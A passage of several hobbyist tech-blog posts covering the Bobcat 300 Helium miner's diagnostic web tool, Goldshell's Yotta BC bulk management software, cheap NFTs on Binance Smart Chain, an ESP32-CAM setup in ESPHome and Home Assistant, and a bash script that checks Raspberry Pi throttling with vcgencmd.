| 2021-02-24T22:16:39.379Z |", "| id | 6 |", "|locationNonceLimit| 1 |", "| name | Bobcat |", "| updatedAt | 2021-02-24T22:16:39.379Z |", "+------------------+---------------------------------------------------+", "", "" ], "errors": null } I told you it was a lot of information! We can actually see a lot of stuff that was previously not possible to see on your Bobcat like the enrollment key, various internal components and their serial numbers, etc. Our P2P connection status (what the light represents on your Bobcat, green yellow etc.) is revealed in great detail as well. Look at this detailed breakdown here: "p2p_status": [ "+---------+------+", "| name |result|", "+---------+------+", "|connected| yes |", "|dialable | yes |", "|nat_type | none |", "| height |955285|", "+---------+------+", Explorer This is just a link to the Helium blockchain explorer. Not very useful! Helium API Connects to the Helium API and returns some information in JSON format about your specific miner. This is Helium-specific information that is tracked across all miners and not Bobcat specific. Onboarding This one is a little more interesting. It redirects you to your hotspot’s onboarding entry at onboarding.dewi.org. The results are given to you in JSON like the other commands. I had not seen this site before but sure enough my onboarding entry appeared as expected! Net Speed (Internet Speed Test) (Update 9/3/2021: Removed, Secret Link Available) Finally a fun one! This one lets you test your Bobcat 300’s internet connection speed. I ran the connection test (using WiFi) and this was my output: { "DownloadSpeed": "27 Mbit/s", "UploadSpeed": "33 Mbit/s", "Latency": "16.586062ms" } Those results are actually terrible for my connection speed (gigabit fiber) but not unexpected for WiFi using G/N speeds. At any rate this is very useful information to have whether you’re using wired / wireless. Having a tool like this lets you test the Bobcat’s connection specifically instead of running a general speed test on your computer. That only diagnoses your internet connection in general and not the Bobcat’s connection specifically so having this tool is a giant leap forward and worth using. It does make your miner slow down / stop mining for about 30 seconds so don’t overdo it! UPDATE 9/3/2021: In 1.0.3 this option is no longer in the list of options. It’s still available on the miner as speed.json. To access the option replace the IP in the URL below with your own miner’s IP address and go to: http://192.168.X.X/speed.json After a 20 second pause or so you will see the speed test (for now, they removed the menu option but the JSON request is still available/permitted): { "DownloadSpeed": "25 Mbit/s", "UploadSpeed": "42 Mbit/s", "Latency": "9.81852ms" } Resync Miner (Update 9/2/2021) This is the first really serious troubleshooting option we’ve been given for the Bobcat. It was added in 1.0.2 and the description given by hovering your mouse over the option is “It will delete the miner data, let the miner resync to the blockchain from scratch”. Basically they’re saying this will wipe the local blockchain data from your miner and let it resync from scratch. You would only want to do this if your miner is completely stuck / corrupted. Do you remember how long it took to sync your Bobcat when you got it? You definitely don’t want to have to go through that again unless your miner is completely broken and won’t sync and nothing else has worked / troubleshooting has led you to this conclusion. This finally gives users the ability to clear and resync their Bobcat though which is a fantastic improvement from the launch 1.0.0 version! Also requires a username / password: Username: bobcat Password: miner Reboot (Update 9/2/2021) This was a new option added in version 1.0.2. It’s as simple as it sounds and allows you to reboot the miner through the web GUI. Very handy! This option will prompt you for a username and password. Here they are: Username: bobcat Password: miner Blockchain Height Blockchain height just gets the current height of the Blockchain from the official Helium API. This would be useful if you wanted to write a very simple script that wanted to compare if your hotspot’s block matched the current block on the blockchain. A lot of the other available commands give the blockchain_height already (such as “Sync Status” and “Miner”) so it’s not extremely useful. Bobcat OTA Update / Troubleshooting (Community Res) Don’t get too excited about these ones. These are not at all what they sound like. They’re both just web links to community resources (at least at 1.0.0 release). Fast Sync (Alpha) (Update 9/11/2021) This new feature was added in 1.0.4. It’s meant to help catch you up quickly to the blockchain. I had the chance to use it today as Bobcat has had a lot of issues with hotspots falling out of sync and mine has been impacted. The function takes about 30 minutes to sync and you should be at least 400 blocks behind to use it. From Bobcat: Fast Sync This is an alpha feature that gives healthy miners a sync boost, so they can quickly catch up to the top of the blockchain from the block they are syncing at. IMPORTANT: this feature will NOT work for healthy miners whose gap to the blockchain is smaller than 400 blocks. Bobcat Miner 9/10/2021 Post As usual the credentials will be: Username: bobcat Password: miner Conclusion The whole time I’ve had my Bobcat it has been a “black box”. Who knows what it’s doing. You can’t log into it with SSH or using the serial console (set your speed to 1,500,000 baud (yes, 1.5 million) and the serial console “data port” does work over USB in something like Putty, this is some kind of security through obscurity baud rate) because all the accounts are either disabled or have a nologin shell. There’s only a couple of useful “tools” in 1.0.0 release that actually make the Bobcat do anything but it’s so nice to be able to finally see and be able to do *SOMETHING*! I’d imagine that more menu options will continue to be added to the Bobcat 300’s new “Diagnoser” tool over time. I definitely at least recommend running the “Speed Test” and checking your unit’s temperature to make sure everything is running well! Other Resources For the best place to exchange your Helium (HNT) to other tokens like Bitcoin (BTC) check out my Best Altcoin Mining Pools and Exchanges article If you have a Nebra hotspot check out my getting root and SSH access to the Nebra guide To understand what is happening with Ethereum mining and when it is ending see my Why GPU / Ethereum Mining Is Toast – Stop Buying GPUs article #### Bulk Management of Multiple Goldshell ASIC Miners w/ Yotta BC Yotta BC – Official Goldshell ASIC Bulk Management Tool One reality of cryptocurrency mining is that you are almost certainly going to need multiple units to reach whatever goals you have. The way most people do this is pay for / ROI on their existing units and then they will add more units and repeat the cycle again. At first this is easy when you only have a few units but it gets more complex as you add more units. You will need better infrastructure and management tools as you scale up to manage them effectively. I’ve been going through this process for a ASIC farm build-out and wanted to share some of the tools I’ve found and used to make scaling up much more effective. Today I’m going to cover an official tool from Goldshell called “Yotta BC” that lets you do a lot of cool things like tell all of your miners to change pools at once, view the status of all miners in one fell swoop, fix miners that have lost their IP address and lots of other critical functions. Let’s take a look! Table of Contents Toggle OverviewSoftware AvailabilityInitial Configuration (Yotta BC)Miner Password SetupConfiguring Multiple Miners At Once (Bulk Configuration)ConclusionOther Resources Overview Yotta BC is an incredibly useful tool. Even just taking the screenshot at the top of the article you can actually see two issues (they’re highlighted in red by Yotta BC). Can you spot them? One is #1’s fan speed is showing 343320 (a normal reading is somewhere between 1000-4000 RPM roughly) which usually indicates a failed fan or a failed sensor (or both). That is a bad reading because if it was really spinning that fast and it broke apart (which it would long, long before reaching those speeds on the reading) it would be difficult to even calculate the force the fragments would have and the damage it would cause. It has been like this since I got that CK-Box and I have verified the fan is spinning (indicating it’s just the fan sensor and not the actual fan, replacing the fan would fix this). I did not want to replace it yet and have any downtime on it but at these prices (Jan 2022) it’s probably time to replace that fan soon. The second one is that my KD-Box No. #27 has a 31% reject rate (common problem with these even with the latest firmware although it happens less now with the patches). That one just needs a reboot. I rebooted it and by the time I had finished this article the reject rate was back at 2.8%. I could have caught the reject rate with the pool management software if I’d checked but a lot of issues Yotta BC can find won’t appear on your pool such as the fan speed example. Some other useful features are: Changing configuration settings on multiple miners at the same time. This includes pools, power plans, algorithm selection (for multi-algo capable miners like the HS-Box), network settingsCan do bulk firmware updates, factory resets and cloud configuration for the new Goldshell cloud management application (also free) at the Official Goldshell HubRescuing miners that have lost their IP address and are unreachable by connecting a laptop running Yotta BC directly to the miner’s Ethernet port Here’s a screenshot of the “Device” menu to give a better idea of some of the capabilities: Yotta BC – Device Menu                          Software Availability Yotta BC is official Goldshell software provided free of charge to manage multiple Goldshell ASICs on the same network. If anyone is trying to get you to pay for it they are attempting to scam you. You can get it at their official GitHub page here: YottaBC – Official GitHub Page For Goldshell’s official overview: Official Goldshell YottaBC Overview Initial Configuration (Yotta BC) When you run Yotta BC for the first time it will have a single group out of the box called “IP Collector”. This mode seems to “listen” or scan your network for miners that have pressed the “IP Button” on the miner I assume through some kind of broadcast/multicast traffic. This mode shows nothing on my network (even pressing both the big extended button and the little hidden black button on the back of the miner) as the miners are on an isolated network (I can connect in, they can’t connect out to my other internal networks) and that type of traffic isn’t allowed anyway (intentionally by me). For you it might discover your entire network right out of the box, but it’s not entirely clear to me if it’s meant to do that or just to recover miners with lost IPs since that was the only part that worked for me. To try it press the “Rescan Devices” button in the top left of the screen. The IP collector mode is very useful for recovering miners that have lost their IP address. To do that you will connect the miner directly to something like a laptop running Yotta BC and the IP collector will generally find it even if it has a self-assigned 169.X.X.X IP when it’s directly connected. It’s a well documented way to recover them! I highly recommend just adding a new group though with the IP addresses you want to scan. To do this click “File” from the main menu at the top of the screen and choose “New Group”. It looks like this: Yotta BC – Create New Group Dialog Box Choose a name for your group on the right hand side of the screen. Set the start IP for where your miners start. If they are all mixed in with the rest of your equipment then just put your entire range in here. Make sure you don’t miss the “Range” box at the right. I set mine to 40 meaning it will show IPs 192.168.1.1-192.168.1.40. To finish you will press the “GROUP DETAILS” button. Why does it say “GROUP DETAILS”? I have no idea. I assume it’s a mistranslation but the tool works so well otherwise that you won’t hear me complain about it. It’s meant to be something more like “Save Group” or “Create Group”. Once you click “GROUP DETAILS” you should now have a second group you can refresh in your list! Bobcat 300 Helium Miner* Miner Password Setup The Yotta BC software has a sort of password “vault” in the preferences (located in the Edit menu -> Preferences). Here’s a look: Yotta BC – Preferences Menu You may have to add it a few times (notice the Model dropdown box) for different miner models but it’s worth it. There’s other configuration items in here worth examining as well such as the “warning” level for your temperatures, fan speeds, and other items so definitely make sure to check those out after your initial configuration. Configuring Multiple Miners At Once (Bulk Configuration) Now I will teach you the ways of configuring multiple miners as they may not be obvious to people who aren’t familiar with common old-school keyboard + mouse shortcuts. The way you select a miner is to click a little bit to the left of the miner’s “No.” column and you should see a green bar appear like this: Yotta BC – Miner Selection “Green Bar” There is another way to select them which is to right click in that same area but this can be a little annoying as it will open the right click context menu every time. The best way is to hold down the “CTRL” key and then left click each miner you want to select. This will allow you to select multiple miners without having the right-click menu pop up every time. Many options can only be applied to miners of the same type. The software will tell you if the action you’re trying to do requires you to select the same miner type. Once you’ve selected the miners you want you can either use the Device menu or right-click context menu to apply various actions to the miners. Conclusion All of these operations are easy on their own. They don’t take a lot of time either. How long does it take to change your pools, maybe a couple of minutes or less to log in and change it? Now multiply that by 10. Or 20. Or 30. The same thing. Over and over. That is how your work will scale without using automation or bulk management tools. Even if you can do it, you could never do it as quickly as you could by using these automation tools. You’re working inefficiently and the bigger you scale the more that inefficiency will present as a ever-nagging problem (usually at the worst possible times when there’s DNS issues going on with pools or a big crypto shakeup is going down). It’s great to learn and get started with these tools even if you only have a couple or a few miners to get comfortable with them. Goldshell will undoubtedly continue to add new features. The Goldshell Hub (cloud management site) was recently added to Yotta BC in version 1.5.9. With more time (and usage / feedback by people using the tools) there will be additional useful features added! Other Resources If you are trying to rescue a miner that won’t get an IP address (and it won’t show up even with Yotta BC directly connected) it’s possible that your firmware image might be corrupted/broken. This essentially leaves your ASIC unable to boot up. The diagnostic lights on the miner can help diagnose this condition which I cover in my Goldshell ASIC firmware recovery guide For the best place to mine and exchange your altcoins check out my Best Altcoin Mining Pools and Exchanges article #### Bunnies, Pepes, Apes, Oh My? NFTs on Binance Smart Chain You’ve likely heard in the news of someone paying a ridiculously large amount of money for something called a NFT (non-fungible token) such as $387,000 for a LeBron James NBA Top Shot moment, artwork from the hottest artists in the world who have been adopting NFT technology on a massive scale, and many more uses/offerings popping up every day. It’s definitely going to continue to be a huge driving force in the cryptocurrency market and there’s no way to put the genie back in the bottle. You don’t have to have 400 grand to start playing with non-fungible tokens and learning more about them though. Today I’ll cover where to find (relatively) cheap NFTs on the Binance Smart Chain that I have picked up to learn more about them and exactly what they do! Table of Contents Toggle Non-Fungible ApesHigher RarityOther UsesNeural Pepe NFTsBNB BunniesBonus Cheap NFT Option: PancakeSwap Profile BunnyConclusionUpdate 3/16/2022 – BNB Bunnies Gone Non-Fungible Apes I have reviewed ApeSwap (a fantastic exchange on the Binance Smart Chain) here in the past and it’s a great service. Non-fungible Apes is a NFT offering from the team behind the ApeSwap exchange so I was absolutely interested in checking out their NFT offering. Ladies and gentlemen, I give you Non-Fungible Ape #0406, the (provably) one and only: Beautiful Ape! Non-Fungible Ape #0406 – Beautiful Ape – Within ApeSwap This is from within ApeSwap where if you click the “NFA” section will bring up all non-fungible apes including my Beautiful Ape. Observe in the top right corner of the screen that Beautiful Ape is my profile icon within ApeSwap which happens automatically if you own one. There are only 1000 NFAs that will ever be made. They have not all been released initially yet although you can see above that I did buy mine from someone else who got it a few thousand blocks before I did and flipped it to me for an easy 2x gain. Why would I do such a thing if this guy just got it for that price? Because every few weeks they drop a new series of the 1000 total NFAs and they sell out within a couple of minutes or less. Each sale seems to be more competitive. They’re snagged *very* quickly now when they’re released. I have gone to several auctions but never have been fast enough to get one I liked. The initial price depends on rarity and I believe each series the price goes up slightly so the upcoming auctions likely won’t have any for 1BNB like this lucky guy got. Still, it’s not too late to get one for cheaper than market rate if you go to the initial auctions and be quick! When you own a NFT and it is in your MetaMask wallet you can use it on multiple sites. I got my NFT at the official nftkey.app marketplace which is also where the official Non-Fungible Ape auctions take place (the initial release to the public). You can see here that I have a “List onto market” option on the nftkey.app page for my Ape: Non-Fungible Ape #0406 – Beautiful Ape Why is this cool? Because I now have a cryptographic non-fungible key that is attached to my Binance Smart Chain address. I can go to multiple web sites that recognize this token and I immediately get access to different parts of the site people can’t access. It’s like a VIP club card for a casino chain where certain ones will honor it and other ones won’t but since there’s a set of standards and technology they can still “read” my token and see if it’s one they accept right through my web browser safely. That’s one of the most valuable parts of this technology and illustrates some of the most important uses of NFTs we’ll be covering! Higher Rarity My Ape is a level 1 Ape (the lowest rarity). There are higher rarity apes though that get much more expensive and look literally out of this world: Level 5 Non-fungible Ape My screenshot doesn’t really do them justice here because they are using some fancy tricks to give it a really cool animated background effect. This was one of the lower priced ones of the level 5 rarity on the store (which I assume the people who have them priced at 100K BNB are just showing them off) and the lowest I saw at time of writing was 48 BNB for a top rarity one so they are much more expensive and much more exclusive! Other Uses So what else does having a non-fungible ape do? When ApeSwap launches a new token there seems to be an excellent chance I get an airdrop of that token every time. So far I have got 2 SPACE (worth about $32/ea at aperocket.finance which is a great site I need to cover in a future article) and recently got 3300 HIFI tokens automatically sent to my account just for having a non-fungible ape. That’s my favorite part so far but there are even more upsides promised in the future! This is my favorite of my NFTs so far and by far the most rewarding. Here’s the HIFI airdrop transaction to all non-fungible ape owners a couple of days ago: BSCScan – HiFi Airdrop Transaction It has also appreciated in value because the minimum price for any NFA at time of writing on nftkey.app is 2.3 BNB for any NFA. Are those ones even beautiful? No of course not, it actually is kind of rare to have one that looks happy like this which you’ll notice if you browse them, and not only that but the first 5 of them on the list are all less rare than mine is (mine is 706 / 1000 meaning theirs was even higher than mine)! No one knows for sure what will happen with the value of NFTs on the Binance Smart Chain but it’s quickly taking the #2 spot behind Ethereum for NFTs and marketplaces because the fees and minting costs involved for creators are so much less and if the value of NFTs on Binance Smart Chain repeats even a fraction of their success on Ethereum it’s likely these will continue to appreciate over time. This is crypto though, if anyone tells you they 100% for sure know what is going to happen they’re trying to sell you something/scam you/are delusional but as far as best guess I would say the non-fungible apes have a bright future. Neural Pepe NFTs Pepe the Frog is one of the biggest internet memes in history. His character has a complicated history and is now basically dead (literally, the creator killed him) but suffice it to say it’s a mess and controversial (there’s even a documentary) and has nothing to do with technology or NFTs. We’re going to focus on the technology behind the Neural Pepe NFT which basically generates a Pepe meme with various enhancements/features/mutations of varying rarities/desirability. There’s really no way to prepare you visually for the weirdness you’re about to see so let’s just get right to it: Neural Pepes on nftkey.app What on earth are those? Those are computer generated Pepe frogs! As you can see, very strange things can happen. There will only be 7777 issued. Here’s the site where you can mint them (nftkey.app also has a Neural Pepe store): Neural Pepe Official Web Site Here you can see that the minting costs are up to about 0.4 BNB for a Neural Pepe but that they started out very cheap at as low as 0.07 BNB at one point and that they will continue to rise much further as it gets closer to the end of the 7777 total issuance. I went ahead and minted one for science. Here is my creation: Neural Pepe #5958 and… wow, it doesn’t even give me nightmares, that looks nothing like a lot of people’s turned out from our earlier screenshot! It’s totally random what you will get so you never know. I also unlocked a new currency on the Neural Pepe web site: Neural Pepe #5958 – My Mint Notice here that I’m getting some weird currency called $AI with 563.1799 available to claim even after I just minted it. Apparently I can use this to give my NFT a name that will display to everyone on the web site. There are also some “collection” based challenges where you collect NFTs with certain attributes and can unlock a challenge (looks like 3 Pepe’s with a certain attribute for the 1 challenge that appears to be open so far). I’m still playing with all the options but the currency is paid to me continually while I hold the NFT which is very interesting. There could be endless possibilities for all sorts of ideas / projects / products / etc. that could make great use of a currency paid automatically to people who hold one of these non-fungible tokens! I’m not completely sure what to make of this project yet (it depends on how they continue to develop/support the project) but it illustrates many different things that are possible with NFTs that have some pretty wild implications for 5-10 years down the road from now (or even sooner in some cases). This is all very cool technology right in my web browser through MetaMask. That is why I wanted to play with this project and try “minting” one myself. The cost to “mint” something on Ethereum is an order of magnitude more expensive even with today’s “lower” fees than earlier in 2021. That is amazing and will be how the next generation of NFTs work which will probably have something you like even if this isn’t your cup of tea! BNB Bunnies Now it’s time for today’s budget option. If more than 2 BNB sounded way too expensive and 0.4 BNB also sounded too expensive allow me to introduce you to BNB Bunnies: Bunny #7590 There is my bunny and I bought him for about 0.08 BNB which is about as cheap as it gets for NFTs! There are 10,000 BNB bunnies which helps with the price since they aren’t quite as rare as the Apes or Pepes. So what does unlocking a BNB bunny get you? Access to an exclusive browser based video game available only for owners of BNB Bunny NFTs! BNB Bunnies Web Site – Exclusive NFT Owner Game And after pressing play: BNB Bunnies Exclusive NFT Owner Game It’s basically a little platformer game! From what I can tell it only has one level (unless I’m missing something) but there’s a reason that the BNB bunnies are cheap! The site mentions a way to get suits for your bunny to be dressed up in so there’s apparently more to these as well to be explored! This illustrates that it really varies by NFT how useful they are. It’s as useful as the creators behind the project make it and it definitely impacts the value! Bonus Cheap NFT Option: PancakeSwap Profile Bunny There’s another relatively cheap way to get a NFT. You can get one cheap NFT from Pancakeswap one time for 1 CAKE (about $16 at time of writing) and then remove it from being your profile picture for another 0.5 CAKE. Normally when you mint the bunny it is attached in your profile and won’t show up in your wallet / in BSCScan as a token that you have at your address. This is also the case with staking NFTs (yes, you can stake NFTs now for rewards, but that’s a subject for another article!). Here’s some of the choices you’ll have (you’ll pick one) to mint: PancakeSwap Profile Bunny Now here’s the trick: if you take the bunny OFF your Pancakeswap profile picture the NFT *will* be sent to your address. You can see it in BSCscan.com as “Pancake Bunnies” in the ERC-721 token section like this: BSCScan.com Erc721 token transactions It will now be available at your address and you can send it / transfer it / do anything you want with it just like any other token! What can you do with them? They actually have a lot of different PancakeSwap collectibles and they can be traded on various other marketplaces so that is their intended purpose although don’t be surprised to see some extra features over time with most of these NFTs. Definitely not as much utility as some of the other ones on the list at this time but still an easy way to get your hands on a NFT and it is intended to be a collectible one! SyncroBit Helium Miner* Conclusion The great thing about the Binance Smart Chain is that you can start participating in the NFT market and learning about them at a very low price. Even the more expensive ones in this article are a joke compare to some of the very old and very big NFTs out there! It’s still early on the Binance Smart Chain and in cryptocurrency being earlier usually means it’s cheaper. Way cheaper. In 5 years though? Nobody knows for sure. It probably depends on the overall success of the Binance Smart Chain. I keep hearing more and more people (especially in DeFi) saying that Binance Smart Chain has taken over Ethereum for the hotbed of a lot of this stuff and I can certainly understand why when transactions / minting / basically every step of the process is much cheaper and faster on BSC than Ethereum. If that’s the case the future of NFTs on the Binance Smart Chain are very bright! Update 3/16/2022 – BNB Bunnies Gone It was high risk to invest early in these NFTs. A lot of them paid off BIG like the Non-Fungible Apes. The BNB Bunnies collection was removed from nftkey.app due to inactivity from the developers. Such is the risk / reward of being early to the market! #### Cheap ESP32-CAM Home Assistant ESPHome Camera Guide ESP32-CAM within Home Assistant I’ve been integrating my entire home into Home Assistant using as much open-source software and hardware as possible. Recently I’ve wanted to add some additional cameras to my home such as a camera to monitor my HVAC / water heater. Although I already have 6 Unifi cameras integrated into the home those are extremely expensive (and frankly availability is poor on them as well). I don’t need a camera that costs hundreds of dollars to watch my utilities area. Fortunately there’s an extremely widely available and cheap solution called the ESP32-CAM! These have been around for years and are one of the most popular ESP32 products. Since it uses ESP32 we can use ESPHome and Home Assistant to add a super cheap camera anywhere you’d like. In this guide I’ll show my ESP32-CAM setup and how to configure it within Home Assistant and ESPHome. Let’s get started! Table of Contents Toggle Hardware UsedOverviewAdding ESPHome to Home AssistantConfiguring ESPHomeAdding Device to Home AssistantAdding Camera to YAMLFinal ResultConclusionOther Resources Hardware Used ESP32-CAM The ESP32-CAM-MB supports WiFi / Bluetooth / BTLE for connectivity and uses a OV2640 2MP camera module Links: Amazon.com*, AliExpress*, Amazon.com.au*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Overview First let’s take a look at the ESP32-CAM: ESP32-CAM – Top View This is exactly how it came except you can see that I glued the image sensor in place. It comes detached but I intend to mount it pretty much exactly how you see it so I used some glue and permanently attached the sensor to the SD card slot. Be careful not to get any glue inside the SD card slot if you try this (and use less glue than I did). Notice that there are two pieces here: ESP32-CAM – Top View Not all listings give you both and some will only give you the ESP32-CAM part of the board. If you already have devices you can use with it to power the camera this is fine but most people will want to pick up the listing that comes with both boards. The micro USB port to power the board is on the second board as you can see above. Here is the area I wanted to add a camera to: ESP32-CAM Target Area This is my HVAC / utilities indoor area. On the very far right is a newer type of water softener that is much more efficient (which is why it has that really small salt can next to it). In the middle is my water heater and the on the left is the HVAC system. I’ve had issues before where the pipe leading from the HVAC system has got knocked away from the drain and the water will start backing up. Having a camera here lets me easily spot problems like this and address them before it becomes a *really* big problem. Adding ESPHome to Home Assistant We are going to assume you have Home Assistant installed as installing Home Assistant is outside the scope of this guide. You can absolutely follow along though and see if it looks like something you’d like to explore. I have it installed as a supervised installation on an Orange Pi 5. Sign into your Home Assistant instance and go to “Settings” and then “Add-ons”. Next click the “Add-on Store”. ESPHome has it’s own section like this: Home Assistant Add-on Store – ESPHome Select ESPHome and then click “Install”. Once the installation is finished you can click “Start” to start the service. To make things easier choose to add the ESPHome option to your sidebar. That way you’ll see a menu choice specifically for ESPHome going forward. Configuring ESPHome First head to the ESPHome menu option: ESPHome Configuration Menu If you don’t see the ESPHome menu option then go back to the “Add-on Store” from the previous step. Select ESPHome and enable “Show in sidebar”. For setup we need to connect your camera to your device running Home Assistant with USB. This is only required for setup. It will communicate wirelessly after you’ve completed setup (if you configure it that way). You also have the option of connecting it to a different computer but *only* if your Home Assistant instance is configured to run in HTTPS. Click “New Device” in the bottom right hand menu. Follow the menus to add the device into your ESPHome instance. Choose “ESP32” as the device type. Now install the configuration to the device. Adding Device to Home Assistant Now head back to your “Settings” menu for Home Assistant and click “Devices”. You should see your new sensor with the name you specified in the configuration. Check to see if the sensor is online. With any luck it is like my example above. Now click “Configure”: Home Assistant – Devices Menu – Configure ESPHome It should ask you if you want to add the node to Home Assistant. Select “Submit” and then it will ask you for your encryption key it gave us earlier. If you don’t have this just go back to the ESPHome menu and select “Edit”. You will see the key in plain text under “encryption” and then “key”. If everything goes well the device should come online and be successfully paired with Home Assistant. From this point forward we will be able to update and push the configuration wirelessly to the device. Adding Camera to YAML Now your device should be available in Home Assistant but you won’t see a camera feed yet. We’re going to add that now. Go back to ESPHome and go to your new camera. Click “Edit”. esphome: name: cam-utilities-indoor friendly_name: cam-utilities-indooresp32: board: esp32dev framework: type: arduino# Enable logginglogger: level: VERBOSE tx_buffer_size: 256# Enable Home Assistant APIapi: encryption: key: "XXXX" services: # change camera parameters on-the-fly - service: camera_set_param variables: name: string value: int then: - lambda: |- bool state_return = false; if (("contrast" == name) && (value >= -2) && (value <= 2)) { id(espcam).set_contrast(value); state_return = true; } if (("brightness" == name) && (value >= -2) && (value <= 2)) { id(espcam).set_brightness(value); state_return = true; } if (("saturation" == name) && (value >= -2) && (value <= 2)) { id(espcam).set_saturation(value); state_return = true; } if (("special_effect" == name) && (value >= 0U) && (value <= 6U)) { id(espcam).set_special_effect((esphome::esp32_camera::ESP32SpecialEffect)value); state_return = true; } if (("aec_mode" == name) && (value >= 0U) && (value <= 1U)) { id(espcam).set_aec_mode((esphome::esp32_camera::ESP32GainControlMode)value); state_return = true; } if (("aec2" == name) && (value >= 0U) && (value <= 1U)) { id(espcam).set_aec2(value); state_return = true; } if (("ae_level" == name) && (value >= -2) && (value <= 2)) { id(espcam).set_ae_level(value); state_return = true; } if (("aec_value" == name) && (value >= 0U) && (value <= 1200U)) { id(espcam).set_aec_value(value); state_return = true; } if (("agc_mode" == name) && (value >= 0U) && (value <= 1U)) { id(espcam).set_agc_mode((esphome::esp32_camera::ESP32GainControlMode)value); state_return = true; } if (("agc_value" == name) && (value >= 0U) && (value <= 30U)) { id(espcam).set_agc_value(value); state_return = true; } if (("agc_gain_ceiling" == name) && (value >= 0U) && (value <= 6U)) { id(espcam).set_agc_gain_ceiling((esphome::esp32_camera::ESP32AgcGainCeiling)value); state_return = true; } if (("wb_mode" == name) && (value >= 0U) && (value <= 4U)) { id(espcam).set_wb_mode((esphome::esp32_camera::ESP32WhiteBalanceMode)value); state_return = true; } if (("test_pattern" == name) && (value >= 0U) && (value <= 1U)) { id(espcam).set_test_pattern(value); state_return = true; } if (true == state_return) { id(espcam).update_camera_parameters(); } else { ESP_LOGW("esp32_camera_set_param", "Error in name or data range"); }ota: password: "XXXX"wifi: ssid: !secret wifi_ssid password: !secret wifi_password domain: .jamesachambers.net power_save_mode: none manual_ip: static_ip: 192.168.4.76 gateway: 192.168.1.1 subnet: 255.255.0.0 dns1: 192.168.1.1 dns2: 8.8.8.8esp32_camera: id: espcam name: esp-cam external_clock: pin: GPIO0 frequency: 10MHz i2c_pins: sda: GPIO26 scl: GPIO27 data_pins: [GPIO5, GPIO18, GPIO19, GPIO21, GPIO36, GPIO39, GPIO34, GPIO35] vsync_pin: GPIO25 href_pin: GPIO23 pixel_clock_pin: GPIO22 power_down_pin: GPIO32 resolution: 800x600 jpeg_quality: 10 # max. 63 max_framerate: 1.0fps idle_framerate: 0.2fps vertical_flip: true horizontal_mirror: false brightness: 2 # -2 to 2 contrast: 1 # -2 to 2 special_effect: none # exposure settings aec_mode: auto aec2: false ae_level: 0 aec_value: 300 # gain settings agc_mode: auto agc_gain_ceiling: 2x agc_value: 0 # white balance setting wb_mode: autooutput:# white LED - platform: ledc channel: 2 pin: GPIO4 id: espCamLED# red status light - platform: gpio pin: number: GPIO33 inverted: True id: gpio_33light: - platform: monochromatic output: espCamLED name: esp-cam light - platform: binary output: gpio_33 name: esp-cam ledswitch: - platform: restart name: esp-cam restartbinary_sensor: - platform: status name: esp-cam statussensor: - platform: wifi_signal name: esp-cam WiFi Signal Make sure to update with your own encryption keys (or use the ones that were automatically generated). I’ve replaced mine with XXXX. Final Result I ended up installing the camera here: ESP32-CAM Installed This is the top port of my network setup plug showing the Minoston Z-Wave power monitoring plug. I’ve covered that here and have more pictures of it in that article if you’d like to see a wider shot. Within Home Assistant it looks like this: ESP32-CAM within Home Assistant And here’s the device entities: ESP32-CAM – Home Assistant Entities You can see here we have a WiFi signal indicator, a restart switch and controls to turn on the ESP32-CAM’s LED as well as the white onboard light. Conclusion The ESP32-CAM is an incredibly good and cost effective choice to use for Home Assistant. With ESPHome we can ensure we are programming the device ourselves using open source software and not sharing any of our data with the cloud. At a cost of less than $20 it’s a really easy and cheap way to add a camera view anywhere you have a decent WiFi signal. Getting it working can be pretty tricky to be honest mostly because there’s a lot of different models out there so the example configs might not always work properly. I have a few tricks in my YAML that seem to stabilize things such as setting the external clock frequency to 10MHz. If I set the resolution very far above 800×600 I’d get messages in my log file that my TCP send buffer was full. The device is definitely starting to show some age. It’s using a pretty old ESP32 chip (ESP32-S1). If you have a spot that you need to monitor in a low resolution then this is a great <$20 completely open source solution. It doesn’t perform very well in high resolutions with the included ESP32 module. Undoubtedly you can use a better/newer ESP32 module and get better performance. I’ll be exploring some slightly more expensive camera options that may be appropriate for places you need a higher resolution or better performance. This solution has been around for a long time and it’s starting to show it’s age which is why I only recommend it for a use case like this. I’ll be covering some other ESP32 camera options coming up on the site including options from Adafruit and Seeed Studios (Grove). I’ll also be covering some thermal camera modules that can be used with ESP32 in the near future here. These will all cost more but will deliver higher performance. Definitely stay tuned! Other Resources I’ve also made a really cool Home Assistant / ESPHome WiFi action key here You can also make a Home Assistant / ESPHome enabled action button I’ve covered making a ESP32 air quality sensor (7-in-1) without soldering here All of my Home Assistant related articles can be seen here #### Check If Raspberry Pi is Undervolted Or Throttled I uploaded a quick gist that will measure your Raspberry Pi’s true clock speeds using the vcgencmd. Don’t believe what other tools like cpufreq tell you that your Raspberry Pi is running at because they are lying to you!  Raspberry Pi Undervoltage is also a very big issue and this script will detect it and notify you. The true clock speeds of the Raspberry Pi are controlled by the firmware.  The vcgencmd is the official way to interact with the Raspberry Pi’s firmware and are the only readings you can really trust!  Available at Gist – TheRemote or click read more to view it directly. Table of Contents Toggle HardwareMeasure Raspberry Pi Undervoltage – Script CodeRaspberry Pi Undervoltage PreventionBenchmarking / Testing StorageOther Resources Hardware Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Measure Raspberry Pi Undervoltage – Script Code #!/bin/bash # This bash script outputs the status of your Pi and checks whether you are being throttled for undervoltage and gives you your temperature # Article and discussion at https://jamesachambers.com/measure-raspberry-pi-undervoltage-true-clock-speeds/ # Author James A Chambers 6-6-17 # Output current configuration vcgencmd get_config int | egrep "(arm|core|gpu|sdram)_freq|over_volt" # Measure clock speeds for src in arm core h264 isp v3d; do echo -e "$src:\t$(vcgencmd measure_clock $src)"; done # Measure Volts for id in core sdram_c sdram_i sdram_p ; do echo -e "$id:\t$(vcgencmd measure_volts $id)"; done # Measure Temperature vcgencmd measure_temp # See if we are being throttled throttled="$(vcgencmd get_throttled)" echo -e "$throttled" if [[ $throttled != "throttled=0x0" ]]; then echo "WARNING: You are being throttled. This is likely because you are undervoltage. Please connect your PI to a better power supply!" fi Raspberry Pi Undervoltage Prevention When I wrote this script I noticed when I was trying to overclock using 